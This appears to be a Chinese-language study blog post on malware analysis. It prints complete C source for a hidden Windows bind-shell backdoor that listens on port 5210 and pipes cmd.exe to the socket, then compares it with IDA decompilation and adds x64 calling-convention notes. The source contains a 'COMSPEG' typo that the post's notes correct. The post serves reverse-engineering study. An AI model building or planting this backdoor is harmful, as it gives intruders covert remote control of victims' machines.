​ 提高样本分析能力,最重要的事情之一就是先正向编写木马。之前简单编译过一个程序,今天搜了一个非常简单的后门,比较一下反编译的结果和源码的区别。

​ 源码如下。

#pragma comment(lib,"ws2_32.lib")  //这里我们静态加入一个lib文件,也就是ws2_32.lib</font>

#pragma comment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"") //设置连接器选项

#include <winsock2.h> //包含头文件winsock2.h,这个是 windows socket的头文件

#include <windows.h> //常用的,不解释

#define MasterPort 5210 //定义一个常量,也就是我们后面要打开的端口

main()   //主函数不解释
{
  WSADATA WSADa; //这个结构被用来存储被WSAStartup函数调用后返回的Windows Sockets数据。后面的基本上差不多就不解释,不懂请大家自行百度
  sockaddr_in SockAddrIn; 
  SOCKET CSocket,SSocket;
  int iAddrSize;
  PROCESS_INFORMATION ProcessInfo;
  STARTUPINFO StartupInfo;
  char szCMDPath[255];
  
  //分配内存,初始化数据
  ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
  ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
  ZeroMemory(&WSADa,sizeof(WSADATA));

  //获取cmd路径
  GetEnvironmentVariable("COMSPEG",szCMDPath,sizeof(szCMDPath));

  //加载ws2_32.dll
  WSAStartup(0x0202,&WSADa);

  //设置本地信息和绑定协议,建立socket,代码如下:
  SockAddrIn.sin_family = AF_INET;
  SockAddrIn.sin_addr.s_addr = INADDR_ANY;
  SockAddrIn.sin_port = htons(MasterPort);
  CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);

  //设置绑定端口,将SockAddrIn绑定到CSocket。
  bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));

  //设置服务器端监听端口
  listen(CSocket,1);
  iAddrSize = sizeof(SockAddrIn);

  //开始连接远程服务器,并配置隐藏窗口结构体
  SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);

  StartupInfo.cb = sizeof(STARTUPINFO);

  StartupInfo.wShowWindow = SW_HIDE;
  
  StartupInfo.dwFlags = STARTF_USESTDHANDLES |

  STARTF_USESHOWWINDOW;

  StartupInfo.hStdInput = (HANDLE)SSocket;

  StartupInfo.hStdOutput = (HANDLE)SSocket;

  StartupInfo.hStdError = (HANDLE)SSocket;
  
  //创建匿名管道:

  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);

  WaitForSingleObject(ProcessInfo.hProcess, INFINITE);

  CloseHandle(ProcessInfo.hProcess);

  CloseHandle(ProcessInfo.hThread);

 

  //关闭进程句柄:

  closesocket(CSocket);

  closesocket(SSocket);

  WSACleanup();

    //关闭连接卸载ws2_32.dll

  return 0;

  }

实际IDA反编译出来的效果如下:

可以看到反编译的结果,库的导入和局部变量的定义是没有的,应该是编译过程中,在链接操作之前这些就已经执行完成了。

简单来说这个程序的功能就是开放5210端口,并监听。然后把输入重定向到新起cmd进程,并把cmd进程的输出重定向到5210端口。

对64位下传参的测试

传4个参数及以下,使用的是寄存器传参,cd89,第一个参数传到c,第二个参数传到d,第三个参数传到8,第四个参数传到9。从顺序上来看,从右往左,先从第四个开始传,再从第三个开始传…

传5个参数及以上,前四个使用寄存器传参,从第五个开始使用堆栈传参(上图是传完了之后的结果,汇编侧可以看到寄存器的使用)。可以看到第五个参数先使用了寄存器将参数从rbp-14h中取出来(寻址方式。反映变化趋势的方面,栈由高地址向低地址生长,参数由低地址向高地址生长。x64dbg的上面是栈顶低地址下面是栈底高地址)。

然后又赋给了rsp+20,最后把eax中存放的第一个参数赋给ecx。

0880c08b0110ebe3d330

比较奇怪的是为什么不在栈顶。

基础知识
  1. StartupInfo结构体,主要用于创建新进程时,指定该进程的主窗口特性。主要指定窗口显示状态、窗口位置和大小、窗口标题和其他属性。
  2. 获取cmd的绝对路径可以使用GetEnvironmentVariableA(“COMSPEC”, Buffer, 0xFFu)。
  3. C语言的强制类型转换:(typename) expression,typename为新类型名称,expression为表达式。
  4. 返回地址的存储,因为是由主调函数进行的压栈操作,所以x64dbg的栈区分,将存储返回地址的部分算作上一个栈。
  5. UTF-8 是 Unicode 的实现方式之一。